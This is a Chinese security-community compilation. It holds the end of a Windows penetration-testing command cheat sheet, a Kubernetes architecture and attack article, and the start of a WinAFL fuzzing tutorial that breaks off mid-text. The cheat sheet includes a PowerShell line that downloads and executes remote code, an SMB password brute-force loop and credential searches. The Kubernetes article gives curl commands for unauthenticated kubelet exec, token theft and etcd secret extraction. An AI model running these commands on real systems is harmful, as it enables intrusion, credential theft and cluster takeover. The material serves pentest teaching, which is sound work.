net localgroup administrators /domain | 显示当前的域控制器上的本地管理员组.
net group /domain | 显示分组并在当前域的域控制器上执行操作.
net group "Domain Admins" /domain | 在当前域中查询域管理员的用户.
net group "Domain Computers" /domain | 查询当前域中的所有域计算机.
net group "Domain Controllers" /domain | 查询域控制器.
net group "Domain Policy Creator Owners" /domain | 查询域策略创建者.
net accounts /domain | 更新用户帐户数据库并修改所有帐户的密码和登录要求。 对当前域的主域控制器执行操作.
wmic useraccount | 用户帐户管理.
wmic useraccount LIST BRIEF | 打印帐户信息.
##### 服务
**Command** | **Description**
---|---
sc qc `servicename` | 查询服务的配置信息。
sc query `servicename` | 查询服务的状态，或枚举服务类型的状态.
sc create cmdsys type= own type= interact binPath=
"c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys |
在注册表和服务数据库中创建一个服务条目。
##### 系统安全
**Command** | **Description**
---|---
wmic qfe get hotfixid | 有关在Windows上安装的修补程序的信息
NETSH FIREWALL show all | 显示域/标准配置文件的允许程序配置。
##### 网络
**Command** | **Description**
---|---
ipconfig /all | 显示所有适配器的完整TCP/IP配置。
ipconfig /displaydns |
显示DNS客户端解析程序缓存的内容，其中包括从本地主机文件预加载的条目和计算机解析的名称查询的任何最近获取的资源记录。
DNS客户端服务使用此信息快速查询经常查询的名称，然后查询其配置的DNS服务器.
netstat -ano | 显示活动的TCP连接并包含每个连接的进程ID（PID）.
netstat -ano -p tcp | 显示tcp连接.
netstat -ano -p udp | 显示udp连接.
netstat -r | 显示系统的路由表.
route print | 显示系统的路由表.
net view | 显示指定计算机共享的域，计算机或资源的列表.
net view /domain:`DOMAINNAME` | 指定要查看可用计算机的域。 如果您省略DomainName，则/域将显示网络中的所有域.
net view \\\`ComputerName` | 指定包含要查看的共享资源的计算机.
wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process
call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt" |
在远程服务器上创建一个新进程.
powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object
net.webclient).downloadstring('<http://ip:port/[file>]'))" | 从远程服务器执行代码.
powershell.exe -w hidden -nop -ep bypass -c "(new-object
net.webclient).DownloadFile('<http://ip:port/file>',
'C:\Windows\temp\testfile')" | 从远程服务器下载文件.
##### 文件系统
**Command** | **Description**
---|---
type C:\Windows\system32\demo.txt | 显示文件的内容.
dir /a | 显示具有指定属性的文件.
dir /s | 搜索子目录
dir /s "*`wing`*" | 搜索在当前目录的所有子目录中包含'wing'部分输入的单词.
find /I `wing` C:\Windows\System32*.ini | 在一个或多个文件中搜索包含'wing'这个字符串的问文件.
tree /F C:\Windows\system32 | 以树状图方式显示驱动器或路径的文件夹结构.
fsutil fsinfo drives | 列出系统上的当前驱动器.
wmic volume | 本地存储卷管理.
wmic logicaldisk where drivetype=3 get name, freespace, systemname,
filesystem, size, volumeserialnumber | 本地存储设备管理.
net share | 显示有关在本地计算机上共享的所有资源的信息.
wmic share | 共享资源管理.
net use \\\`ip`\ipc$ `password` /user:`username` |
将计算机连接到共享资源或将计算机与共享资源断开连接，或显示有关计算机连接的信息.
@FOR /F %n in (users.txt) DO @FOR /F %p in (pass.txt) DO @net use
\\\DomainController\IPC$ /user:<domainname>\%n %p 1>NUL 2>&1 && @echo [*]
%n:%p &&</domainname> | 暴力破解 Windows帐户
FOR /F %f in ('dir /b /s C:\') do find /I "password" %f |
从C盘中的文件或文件中搜索`password`
##### 启动和关闭
**Command** | **Description**
---|---
wmic startup | 管理用户登录到计算机系统时自动运行的命令。
##### 相关链接
1. [Windows Internals Book](https://technet.microsoft.com/en-us/sysinternals/bb963901.aspx).
#### 国内的关于信息收集的文章
[浅谈Web渗透测试中的信息收集](http://www.freebuf.com/articles/web/142767.html)
[Web安全渗透测试之信息搜集篇](http://blog.51cto.com/infosec/229507 "Web安全渗透测试之信息搜集篇")
[渗透测试：如何开展前期侦察以及收集敏感信息](http://www.360zhijia.com/360anquanke/279542.html
"渗透测试：如何开展前期侦察以及收集敏感信息")[渗透测试:你真的会信息收集？](http://www.360doc.com/content/17/0409/09/16163490_644071314.shtml
"渗透测试:你真的会信息收集？")[乙方渗透测试之信息收集](http://www.jianshu.com/p/dd3e77a42172
"乙方渗透测试之信息收集")[渗透测试教程：如何侦查目标以及收集信息？](https://www.ddvip.com/weixin/20170728A07OXI00.html
"渗透测试教程：如何侦查目标以及收集信息？") | 社区文章 |
# 浅谈云安全之K8S
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## k8s是什么?
Kubernetes
是一个可移植的，可扩展的开源容器编排平台，用于管理容器化的工作负载和服务，方便了声明式配置和自动化。它拥有一个庞大且快速增长的生态系统。Kubernetes
的服务，支持和工具广泛可用。
### 为什么现在流行使用容器?
早期: 在物理服务器上面部署应用程序存在资源分配问题,因为其不能在物理服务器中的应用程序定义资源边界,导致应用程序资源利用不足而无法扩展.
后来: 为了解决该问题,引入了虚拟化技术, 虚拟化技术是指允许你在单个物理服务器的 CPU
上运行多个虚拟机,可以让多个应用程序在虚拟机之间进行隔离,具有一定的安全型, 每一个虚拟机就是一台完整的计算机, 在虚拟化硬件之上运行所有组件.
现在: 多数在物理服务器上面部署应用程序都是采kubectl用容器的方式,容器类似于虚拟机,他们都具有自己的文件系统、CPU、内存、进程空间等,
且由于它们与基础架构分离，因此可以跨云和 OS 发行版本进行移植。基于此点被企业大范围使用.
### 为什么需要使用k8s容器?
若出现这样一个环境: 在生产环境中如果一个容器发生故障,则我们需要手动去启动另外一个容器,这样的操作是对我们的管理员来说是不太方便的,
若一个容器出现故障,另一个容器可以自动启动容器接管故障的容器,这样是最好的.
k8s就可以实现该效果,Kubernetes 提供了一个可弹性运行分布式系统的框架。 Kubernetes 会满足你的扩展要求、故障转移、部署模式等。
k8s功能: 服务发现和负载均衡, 存储编排, 自动部署和回滚, 自动完成装箱计算, 自我修复, 密钥与配置管理
## 名词解释
### secret
Secret有三种类型：
* Service Account：用来访问Kubernetes API，由Kubernetes自动创建，并且会自动挂载到Pod的`/run/secrets/kubernetes.io/serviceaccount`目录中；
* Opaque：base64编码格式的Secret，用来存储密码、密钥等；
* kubernetes.io/dockerconfigjson：用来存储私有docker registry的认证信息。
## k8s的组成
k8s是由组件,API,对象等组成.
包含所有相互关联组件的 Kubernetes 集群图如下:
### 组件
* 控制平面组件
* kube-apiserver: 为k8s的api服务器,公开了所有Kubernetes API, 其他所有组件都必须通过它提供的API来操作资源数据.
* 保证集群状态访问的安全
* 隔离集群状态访问的方式和后端存储实现的方式：API Server是状态访问的方式，不会因为后端存储技术etcd的改变而改变。
* etcd: 为k8s的键值数据库,保存了k8s所有集群数据的后台数据库。
* kube-scheduler: 收集和分析当前Kubernetes集群中所有Node节点的资源(内存、CPU)负载情况，然后依此分发新建的Pod到Kubernetes集群中可用的节点。 kube-controller-manager: 在主节点上运行 控制器 的组件。
* cloud-controller-manager: 云控制器管理器是指嵌入特定云的控制逻辑的 控制平面组件
* Node 组件
* kubelet: 一个在集群中每个节点（node）上运行的代理。 它保证容器（containers）都 运行在 Pod 中。
* kube-proxy: kube-proxy是集群中每个节点上运行的网络代理,维护节点上的网络规则。这些网络规则允许从集群内部或外部的网络会话与 Pod 进行网络通信。
* 容器运行时: 负责运行容器的软件。
* 插件(Addons)
* DNS: 集群 DNS 是一个 DNS 服务器，和环境中的其他 DNS 服务器一起工作，它为 Kubernetes 服务提供 DNS 记录。
* Web 界面（仪表盘）: Dashboard 是Kubernetes 集群的通用的、基于 Web 的用户界面。
* 容器资源监控: 容器资源监控 将关于容器的一些常见的时间序列度量值保存到一个集中的数据库中，并提供用于浏览这些数据的界面。
* 集群层面日志: 集群层面日志 机制负责将容器的日志数据 保存到一个集中的日志存储中，该存储能够提供搜索和浏览接口。
### API
Kubernetes 控制面 的核心是 API 服务器。 API 服务器负责提供 HTTP API，以供用户、集群中的不同部分和集群外部组件相互通信。
### 对象
Kubernetes对象是Kubernetes系统中的持久实体。Kubernetes使用这些实体来表示集群的状态.
具体来说，他们可以描述：
* 容器化应用正在运行(以及在哪些节点上)
* 这些应用可用的资源
* 关于这些应用如何运行的策略，如重新策略，升级和容错
## Kubernetes 架构
Kubernetes 架构由节点,控制面到节点通信, 控制器, 云控制器管理器组成.
### master 流程图
* Kubecfg将特定的请求，比如创建Pod，发送给Kubernetes Client。
* Kubernetes Client将请求发送给API server。
* API Server根据请求的类型，比如创建Pod时storage类型是pods，然后依此选择何种REST Storage API对请求作出处理。
* REST Storage API对的请求作相应的处理。
* 将处理的结果存入高可用键值存储系统Etcd中。
* 在API Server响应Kubecfg的请求后，Scheduler会根据Kubernetes Client获取集群中运行Pod及Minion/Node信息。
* 依据从Kubernetes Client获取的信息，Scheduler将未分发的Pod分发到可用的Minion/Node节点上。
### 节点
节点可以是一个虚拟机或者物理机器，取决于所在的集群配置。 每个节点包含运行 Pods 所需的服务， 这些 Pods 由 控制面 负责管理.
节点上的组件包括 kubelet、 容器运行时以及 kube-proxy。
**节点状态**
可以使用 kubectl 来查看节点状态和其他细节信息：
kubectl describe node <节点名称>
一个节点包含以下信息:
* 地址
* HostName：由节点的内核设置。可以通过 kubelet 的 —hostname-override 参数覆盖。
* ExternalIP：通常是节点的可外部路由（从集群外可访问）的 IP 地址。
* InternalIP：通常是节点的仅可在集群内部路由的 IP 地址。
* 状况(conditions 字段描述了所有 Running 节点的状态)
* Ready 如节点是健康的并已经准备好接收 Pod 则为 True；False 表示节点不健康而且不能接收 Pod；Unknown 表示节点控制器在最近 node-monitor-grace-period 期间（默认 40 秒）没有收到节点的消息
* DiskPressure为True则表示节点的空闲空间不足以用于添加新 Pod, 否则为 False
* MemoryPressure为True则表示节点存在内存压力，即节点内存可用量低，否则为 False
* PIDPressure为True则表示节点存在进程压力，即节点上进程过多；否则为 False
* NetworkUnavailable为True则表示节点网络配置不正确；否则为 False
* 容量与可分配
* 描述节点上的可用资源：CPU、内存和可以调度到节点上的 Pod 的个数上限。
* 信息
* 关于节点的一般性信息，例如内核版本、Kubernetes 版本（kubelet 和 kube-proxy 版本）、 Docker 版本（如果使用了）和操作系统名称。这些信息由 kubelet 从节点上搜集而来。
### 控制面到节点通信
* 节点到控制面
* apiserver在安全的 HTTPS 端口（443）上监听远程连接请求
* 以客户端证书的形式将客户端凭据提供给 kubelet
* 控制面到节点
* API 服务器到 kubelet连接用于
* 获取 Pod 日志
* 挂接（通过 kubectl）到运行中的 Pod
* 提供 kubelet 的端口转发功能。
* (注: 在连接状态下, 默认apiserver 不检查 kubelet 的服务证书。容易受到中间人攻击，不安全.)
* apiserver 到节点、Pod 和服务
* SSH 隧道(目前已经废弃)
* 产生原因: 若无服务证书, 又要求避免在非受信网络或公共网络上进行连接,则可以在apiserver 和 kubelet 之间使用ssh隧道.
* Kubernetes 支持使用 SSH 隧道来保护从控制面到节点的通信路径。
* Konnectivity 服务
* 为ssh隧道的替代品, Konnectivity 服务提供 TCP 层的代理，以便支持从控制面到集群的通信。
### 控制器
在 Kubernetes 中，控制器通过监控集群 的公共状态，并致力于将当前状态转变为期望的状态。
举个例子: 当前室内温度为20度, 我们通过调节遥控器,使其温度上升至24度, 这20度到24度的变化即为让其从当前状态接近期望状态。
控制器模式分为直接控制和通过API服务器来控制.
### 云控制器管理器
云控制器管理器是指嵌入特定云的控制逻辑的 控制平面组件。 云控制器管理器允许您链接聚合到云提供商的应用编程接口中，
并分离出相互作用的组件与您的集群交互的组件。
云控制器管理器中的控制器包括：
* 节点控制器
* 节点控制器负责在云基础设施中创建了新服务器时为之 创建 节点（Node）对象。 节点控制器从云提供商获取当前租户中主机的信息。
* 执行功能:
* 针对控制器通过云平台驱动的 API 所发现的每个服务器初始化一个 Node 对象
* 利用特定云平台的信息为 Node 对象添加注解和标签
* 获取节点的网络地址和主机名
* 检查节点的健康状况。
* 路由控制器
* Route 控制器负责适当地配置云平台中的路由，以便 Kubernetes 集群中不同节点上的 容器之间可以相互通信。
* 服务控制器
* 服务（Service）与受控的负载均衡器、 IP 地址、网络包过滤、目标健康检查等云基础设施组件集成。 服务控制器与云驱动的 API 交互，以配置负载均衡器和其他基础设施组件。
## Kubernetes 安全性
### 云原生安全
云原生安全4个C: 云(Cloud)、集群(Cluster)、容器(Container)和代码(Code)
云原生安全模型的每一层都是基于下一个最外层，代码层受益于强大的基础安全层（云、集群、容器）。我们无法通过在代码层解决安全问题来为基础层中糟糕的安全标准提供保护。
**基础设施安全**
Kubetnetes 基础架构关注领域 | 建议
---|---
通过网络访问 API 服务（控制平面) | 所有对 Kubernetes 控制平面的访问不允许在 Internet
上公开，同时应由网络访问控制列表控制，该列表包含管理集群所需的 IP 地址集。
通过网络访问 Node（节点) | 节点应配置为 仅能 从控制平面上通过指定端口来接受（通过网络访问控制列表）连接，以及接受 NodePort 和
LoadBalancer 类型的 Kubernetes 服务连接。如果可能的话，这些节点不应完全暴露在公共互联网上。
Kubernetes 访问云提供商的 API | 每个云提供商都需要向 Kubernetes
控制平面和节点授予不同的权限集。为集群提供云提供商访问权限时，最好遵循对需要管理的资源的最小特权原则。Kops 文档提供有关 IAM 策略和角色的信息。
访问 etcd | 对 etcd（Kubernetes 的数据存储）的访问应仅限于控制平面。根据配置情况，你应该尝试通过 TLS 来使用
etcd。更多信息可以在 etcd 文档中找到。
etcd 加密 | 在所有可能的情况下，最好对所有驱动器进行静态数据加密，但是由于 etcd
拥有整个集群的状态（包括机密信息），因此其磁盘更应该进行静态数据加密。
**集群组件安全**
* 运行的应用程序的安全性关注领域
* 访问控制授权(访问 Kubernetes API)
* 认证方式
* 应用程序 Secret 管理 (并在 etcd 中对其进行静态数据加密)
* Pod 安全策略
* 服务质量（和集群资源管理）
* 网络策略
* Kubernetes Ingress 的 TLS 支持
**容器安全**
* 容器安全性关注领域
* 容器搭建配置(配置不当,危险挂载, 特权用户)
* 容器服务自身缺陷
* Linux内核漏洞
* 镜像签名和执行
**代码安全**
* 代码安全关注领域
* 仅通过 TLS 访问(流量加密)
* 限制通信端口范围
* 第三方依赖性安全
* 静态代码分析
* 动态探测攻击(黑盒)
## Kubernetes架构常见问题
### Kubernetes ATTACK 矩阵
### 信息泄漏
**云账号AK泄露**
API凭证（即阿里云AccessKey）是用户访问内部资源最重要的身份凭证。用户调用API时的通信加密和身份认证会使用API凭证.
API凭证是云上用户调用云服务API、访问云上资源的唯一身份凭证。
API凭证相当于登录密码，用于程序方式调用云服务API.
**k8s configfile泄露**
kubeconfig文件所在的位置: `$HOME/.kube/config`
Kubeconfig文件包含有关Kubernetes集群的详细信息，包括它们的位置和凭据。
云厂商会给用户提供该文件,以便于用户可以通过kubectl对集群进行管理.
如果攻击者能够访问到此文件（如办公网员工机器入侵、泄露到Github的代码等），就可以直接通过API Server接管K8s集群，带来风险隐患。
**Master节点SSH登录泄露**
常见的容器集群管理方式是通过登录Master节点或运维跳板机，然后再通过kubectl命令工具来控制k8s。
云服务器提供了通过ssh登陆的形势进行登陆master节点.
若Master节点SSH连接地址泄漏,攻击者可对ssh登陆进行爆破,从而登陆上ssh,控制集群.
### 容器组件未鉴权服务
Kubernetes架构下常见的开放服务指纹如下:
* kube-apiserver: 6443, 8080
* kubectl proxy: 8080, 8081
* kubelet: 10250, 10255, 4149
* dashboard: 30000
* docker api: 2375
* etcd: 2379, 2380
* kube-controller-manager: 10252
* kube-proxy: 10256, 31442
* kube-scheduler: 10251
* weave: 6781, 6782, 6783
* kubeflow-dashboard: 8080
注:前六个重点关注: 一旦被控制可以直接获取相应容器、相应节点、集群权限的服务
**了解各个组件被攻击时所造成的影响**
组件分工图:
假如用户想在集群里面新建一个容器集合单元, 流程如下:
1. 用户与 kubectl进行交互,提出需求(例: kubectl create -f pod.yaml)
2. kubectl 会读取 ~/.kube/config 配置，并与 apiserver 进行交互，协议：http/https
3. apiserver 会协同 ETCD, kube-controller-manager, scheduler 等组件准备下发新建容器的配置给到节点，协议：http/https
4. apiserver 与 kubelet 进行交互，告知其容器创建的需求，协议：http/https；
5. kubelet 与Docker等容器引擎进行交互，创建容器，协议：http/unix socket.
6. 容器已然在集群节点上创建成功
### 攻击apiserver
apiserver介绍:
在Kubernetes中,对于未鉴权对apiserver, 能访问到 apiserver 一般情况下就能获取了集群的权限.
在攻击者眼中Kubernetes APIServer
* 容器编排K8S总控组件
* pods, services, secrets, serviceaccounts, bindings, componentstatuses, configmaps,
* endpoints, events, limitranges, namespaces, nodes, persistentvolumeclaims,
* persistentvolumes, podtemplates, replicationcontrollers, resourcequotas …
* 可控以上所有k8s资源
* 可获取几乎所有容器的交互式shell
* 利用一定技巧可获取所有容器母机的交互式shell
默认情况下apiserver都有鉴权:
未鉴权配置如下:
对于这类的未鉴权的设置来说，访问到 apiserver 一般情况下就获取了集群的权限：
如何通过apiserver来进行渗透,可参考:<https://Kubernetes.io/docs/reference/generated/kubectl/kubectl-commands>
### 攻击kubelet
每一个Node节点都有一个kubelet(每个节点上运行的代理)服务，kubelet监听了10250，10248，10255等端口。
10250端口,是kubelet与apiserver进行通信对主要端口,
通过该端口,kubelet可以知道当前应该处理的任务.该端口在最新版Kubernetes是有鉴权的,
但在开启了接受匿名请求的情况下，不带鉴权信息的请求也可以使用10250提供的能力, 在Kubernetes早期,很多挖矿木马基于该端口进行传播.
在`/var/bin/kubulet/config/yaml`配置文件中,若进行如下配置,则可能存在未授权访问漏洞.
若10250端口存在未授权访问漏洞,我们可以直接访问/pods进行查看
根据在pods中获取的信息,我们可以在容器中执行命令
curl -Gks https://host:10250/exec/{namespace}/{podname}/{containername} \
-d 'input=1' -d 'output=1' -d 'tty=1' \
-d 'command=whoami'
上述命令得到websocket地址，连接websocket得到命令结果：
使用wscat工具连接websocket
wscat -c “https://X.X.X.X:10250/{websocket}” --no-check
即可得到我们执行命令的结果.
获取token
/var/run/secrets/kubernetes.io/serviceaccount
然后即可访问kube-api server,获取集群权限
curl -ks -H "Authorization: Bearer <TOKEN>" \
ttps://master:6443/api/v1/namespaces/{namespace}/secrets
攻击kubelet总体步骤如下:
* 访问pods获取信息
* 获取namespace、podsname、containername
* 执行exec获取token
* /var/run/secrets/kubernetes.io/serviceaccount
* 利用Token访问API Server进行对pods操作。
### 攻击dashboard
dashboard登陆链接如下: `http://xxx.xxx.xxx.xxx:xxxx/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/#/login`
dashboard界面如下:
dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面.在Kubernetes配置不当导致dashboard未授权访问漏洞的情况下，通过dashboard我们可以控制整个集群。
默认情况下, dashboard是需要进行鉴权操作的,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录进入dashboard.
通过skip登陆的dashboard默认是没有操作集群的权限,因为Kubernetes使用RBAC(Role-based access
control)机制进行身份认证和权限管理，不同的serviceaccount拥有不同的集群权限。
但有些开发者为了方便或者在测试环境中会为Kubernetes-dashboard绑定cluster-admin这个ClusterRole（cluster-admin拥有管理集群的最高权限）.
为Kubernetes-dashboard绑定cluster-admin 设置如下:
1. 新建dashboard-admin.yaml内容
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: kubernetes-dashboard
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects :
kind: ServiceAccount
name: kubernetes-dashboard
namespace: kubernetes-dashboard
2. 执行kubectl create -f dashboard-admin.yaml
后通过skip登陆dashboard便有了管理集群的权限.
创建Pod控制node节点,该pod主要是将宿主机根目录挂载到容器tmp目录下。
新建一个Pod如下:
通过该容器的tmp目录管理node节点的文件
### 攻击etcd
Kubernetes默认使用了etcd v3来存储数据, 若能na
etcd对内暴露2379端口，本地127.0.0.1可免认证访问. 其他地址要带—endpoint参数和cert进行认证。
未授权访问流程:
* 检查是否正常链接`etcdctl endpoint health`
* 读取service account token `etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole`
* 通过token认证访问API-Server端口6443，接管集群：
* `kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods`
### 攻击docker remote api(Docker daemon公网暴露)
2375是docker远程操控的默认端口，通过这个端口可以直接对远程的docker 守护进程进行操作。Docker 守护进程默认监听2375端口且未鉴权.
当机器以`docker daemon -H=0.0.0.0:2375`方式启动daemon时，可以在外部机器对该机器的docker
daemon进行直接操作：
之后依次执行systemctl daemon-reload、systemctl restart docker
外部主机使用`-H` 即可操作暴露2375端口的主机.
因此当你有访问到目标Docker API 的网络能力或主机能力的时候，你就拥有了控制当前服务器的能力。我们可以利用Docker
API在远程主机上创建一个特权容器，并且挂载主机根目录到容器.
检测目标是否存在docker
api未授权访问漏洞的方式也很简单，访问http://[host]:[port]/info路径是否含有ContainersRunning、DockerRootDir等关键字。
### 攻击kubectl proxy
**二次开发所产生的问题**
管理Kubernetes无论是使用 kubectl 或 Kubernetes dashboard 的UI功能，其实都是间接在和 APIServer 做交互.
如果有需求对k8s进行二次开发的话,大部分的开发功能请求了 APIServer 的 Rest API 从而使功能实现的。
例如:
* 给用户销毁自己POD的能力
* `DELETE https://apiserver:8443/api/v1/namespaces/default/pods/sleep-75c6fd99c-g5kss`
类似于这样去调用apiserver, 攻击者若修改namespace、pod和容器名, 那么即可造成越权.
## 推荐工具
### Kube-Hunter扫描漏洞
kube-hunter是一款用于寻找Kubernetes集群中的安全漏洞扫描器
下载地址: <https://github.com/aquasecurity/kube-hunter>
### CDK(强推)
CDK是一款为容器环境定制的渗透测试工具，在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的
逃逸、横向移动、持久化利用方式，插件化管理。
下载地址: <https://github.com/cdk-team/CDK/wiki/CDK-Home-CN>
## 参考链接
<https://developer.aliyun.com/article/765449?groupCode=aliyunsecurity>
<https://xz.aliyun.com/t/4276#toc-2>
<https://www.secrss.com/articles/29544>
<https://kubernetes.io/zh/docs/concepts/workloads/pods/#what-is-a-pod>
<https://www.huweihuang.com/kubernetes-notes/concepts/architecture/kubernetes-architecture.html>
<https://www.kubernetes.org.cn/service-account>
<https://www.aquasec.com/cloud-native-academy/cloud-native-applications/cloud-native-infrastructure/>
<https://www.cdxy.me/?p=827> | 社区文章 |
作者： **xd0ol1(知道创宇404实验室)**
#### 0 引子
本文前两节将简要讨论 fuzzing 的基本理念以及 WinAFL 中所用到的插桩框架 DynamoRIO ，而后我们从源码和工具使用角度带你了解这个适用于
Windows 平台的 fuzzing 利器。
#### 1 Fuzzing 101
就 fuzzing
而言，它是一种将无效、未知以及随机数据作为目标程序输入的自动化或半自动化软件测试技术，现而今大多被用在漏洞的挖掘上，其最基本的实现方案如下图所示，虽然看着不复杂，但在实际应用中却并非易事：
图0
基本的fuzzing实现方案
按输入用例获取方式的不同，一般可分为基于突变的 dumb fuzzing 、基于生成的 smart fuzzing 和基于进化算法的 fuzzing
，前两类相对比较成熟了，而第三类仍将是今后发展的主要方向。其中，基于进化算法的 fuzzing
会借助目标程序的反馈来不断完善测试用例，这就要求在设计时给出相关的评估策略，最常见的是以程序运行时的代码覆盖率作为衡量标准。
当然， fuzzer 的设计不应局限在相关理论的原型证明上，关键得经过实践证明才能算是真正有效的。
#### 2 DynamoRIO 动态二进制插桩
我们再来看下后文涉及的插桩，DBI（Dynamic Binary
Instrumentation）是一种通过注入探针代码实现二进制程序动态分析的技术，这些插桩代码会被当作正常的指令来执行。常见的此类框架包括
PIN、Valgrind、DynamoRIO 等，这里我们要关注的是 [DynamoRIO](http://www.dynamorio.org/)。
通过 DynamoRIO ，我们可以监控程序的运行代码，同时它还允许我们对运行的代码进行修改。准确来说， DynamoRIO
就相当于一个进程虚拟机，被监控程序的所有代码都被转移到其上的缓冲区空间中模拟执行，具体架构如下：
图1
DynamoRIO的架构设计
其中，基本块（basic
block）是一个重要的概念。想象一下，将监控进程中的所有指令以控制转移类指令为边界进行分割，那么它们会被分割成许许多多的块，这些块以某一指令开始，但都是以控制转移类指令结束的，如下图：
图2
基本块（basic block）的概念
这些指令块就是 DynamoRIO 中定义的基本块概念，即运行的基本单元。 DynamoRIO
每次会模拟运行一个基本块中的指令，当这些指令运行完成后，将会通过上下文切换到另一基本块中运行，如此往复，直至被监控进程运行结束。
此外，该框架还为我们提供了丰富的函数编程接口，可以很方便的进行插件（client）开发，主要依赖于各种事件回调处理，同时做好指令过滤对提升性能也是很有帮助的。
#### 3 WinAFL Fuzzer
接下去我们就来看下本文的重点，即 WinAFL 这个具体的 fuzzer
，本节内容分为3块，首先是概述部分，而后会对此工具的关键源码进行分析，最后我们将借助构造好的存在漏洞的程序进行一次实际 fuzzing 。
###### 3.1 概述
对于 fuzzer 来说，[AFL](http://lcamtuf.coredump.cx/afl/)（American Fuzzy
Lop）想必大家是不会陌生的，但由于其代码设计的原因使得它并不支持 Windows 平台，而 WinAFL 项目正是此 fuzzer 在 Windows
平台下的移植。 AFL 借助编译时插桩和遗传算法实现其功能，由于平台支持的关系，在 WinAFL 中该编译时插桩被替换成了 DynamoRIO
动态插桩，此外还基于 Windows API 对相关函数进行了重写。
在使用 WinAFL 进行 fuzzing
时需要指定目标程序及对应的输入测试用例文件，且必须存在这么一个用于插桩的目标函数，此函数的执行过程中包括了打开和关闭输入文件以及对该文件的解析，这样在插桩处理后能够保证目标程序循环的执行文件
fuzzing ，避免每次 fuzzing 操作都重新创建新的目标进程。同时，fuzzing
的输入文件会按照相应算法进行变换，且根据得到的目标模块覆盖率判断其是否被用于后续的 fuzzing 操作。
###### 3.2 关键源码分析
我们这里分析的 WinAFL 版本为 1.08 ，可从 [GitHub](https://github.com/ivanfratric/winafl)
上获取。其中 afl_docs 目录包含了关于设计原理、技术细节等相关说明文档，bin 目录则存放有已经编译好的相关程序，而 testcases
目录是各种测试用例文件，剩下的大部分是源码文件。总体来看，与源码相关的文件实际上不多，代码量在10k+左右，最关键的是 `afl-fuzz.c` 和
`winafl.c` 两个文件，这也是我们主要分析的。此外源码中还包括了一些辅助工具，例如显示跟踪位图信息的 [afl-showmap.c](http://manpages.ubuntu.com/manpages/xenial/man1/afl-showmap.1.html)
以及用于测试用例文件集合最小化的 [winafl-cmin.py](http://manpages.ubuntu.com/manpages/xenial/man1/afl-cmin.1.html)，而用于测试用例文件最小化的 [afl-tmin](http://manpages.ubuntu.com/manpages/xenial/man1/afl-tmin.1.html)
工具目前尚未被移植到该平台。当然，更多设计相关的说明还是具体参考 `technical_details.txt` 文件。
**3.2.1 fuzzer模块**
我们先看下 `afl-fuzz.c` ，此部分代码实现了 fuzzer 的功能，对于 fuzzing 中用到的输入测试文件，程序将使用结构体
queue_entry 链表进行维护，我们可在输出结果目录找到相应的 queue 文件夹，如下是添加测试用例的代码片段：
图3
添加新的测试文件
而输入文件的 fuzzing 则由 fuzz_one 函数来完成，此过程涵盖了多个阶段，包括位翻转、算术运算、整数插入这些确定性的 fuzzing
策略以及其它一些非确定性的 fuzzing 策略。且 fuzzing 中采用的突变方式和程序状态并不存在什么特殊关联，表面看该步骤完全是盲目的：
图4
测试文件的fuzzing
对上述的每个 fuzzing 策略，程序首先需要对测试用例做相应的修改，然后运行目标程序并处理得到的fuzzing结果：
图5
处理每个fuzzing策略
由于程序采用的是遗传算法的思想，所以会对每一 fuzzing 策略得到的执行结果进行评估，即根据目标程序的代码覆盖率来决定是否将当前的测试用例添加到
fuzzing 链表中：
图6
评估目标程序当前的执行路径
当然，在对测试文件进行 fuzzing 前可能还需进行必要的修正：
图7 修正测试用例文件
此外，在 fuzzing 过程中，相关结果的状态信息会不断进行更新，该界面展示是由 show_stats 函数实现的：
图8
实现fuzzing过程的界面展示
**3.2.2 插桩模块**
下面继续来看 `winafl.c` ，此文件对应编写的 DynamoRIO 插件代码，它有两个作用：
1. 循环调用 fuzzing 的目标函数；
2. 更新覆盖率相关的位图文件信息。
程序首先会进行初始化操作并注册各类事件回调函数，其中最重要的是基本块处理事件和模块加载事件：
图9
注册各类事件回调函数
在相应的模块加载事件回调函数中，如果当前模块为 fuzzing 的目标模块，那么会对其中相应的目标函数进行插桩处理：
图10
对目标函数进行插桩
即在目标函数执行前，通过 `pre_fuzz_handler` 调用记录下当前的寄存器环境，而在目标函数执行后，又会通过
`post_fuzz_handler` 调用进行寄存器环境的恢复，从而实现了待 fuzzing 目标函数的不断循环：
图11
恢复寄存器环境
此外另一关键问题是对位图文件的处理，关于位图文件的覆盖率计算有两种模式，即基本块（basic block）覆盖率模式和边界（edge）覆盖率模式。在
fuzzing
过程中会维护一个64KB大小的位图文件用于记录此覆盖率及其命中次数，在边界覆盖率模式下每个字节代表了特定的源地址和目标地址配对，这种模式更有助于形象化表述程序的执行流程，因为漏洞往往是由未知的或非正常的执行状态转换导致的，而非简单的基本块覆盖。对应的事件函数为
`instrument_bb_coverage`和`instrument_edge_coverage`
，也就是注册的基本块处理回调函数，位图文件的更新是通过插入的新增指令来实现的，对于边界覆盖率的情况其代码如下，相应基本块覆盖率的情形与之类似：
图12
插入更新边界覆盖率的指令
###### 3.3 WinAFL 的使用
最后我们来进行一次实际的 fuzzing ，用到的目标程序是基于所给的 gdiplus.cpp 源码修改得到的，其中手动引入了一个 crash ，代码如下：
int (*func)(int x); //定义func函数指针
......
func = NULL;
printf("%d", func(0)); //程序crash
首先我们需要确定 fuzzing 的目标函数，即设置 `-target_offset` 或 `-target_method` 对应的参数。在此例中 main
函数是符合条件的目标函数，若要使用 `-target_offset` ，则可简单通过 IDA 来查看此函数的偏移，此例中为 `0x1090` ：
图13
查看main函数的偏移
如果存在符号文件，那么可以直接设置 `-target_method` 的参数为main。对于 `-coverage_module`
的参数，我们可以执行如下命令来获取，注意 DynamoRIO 的目录需根据实际情况来设置。在得到的 log
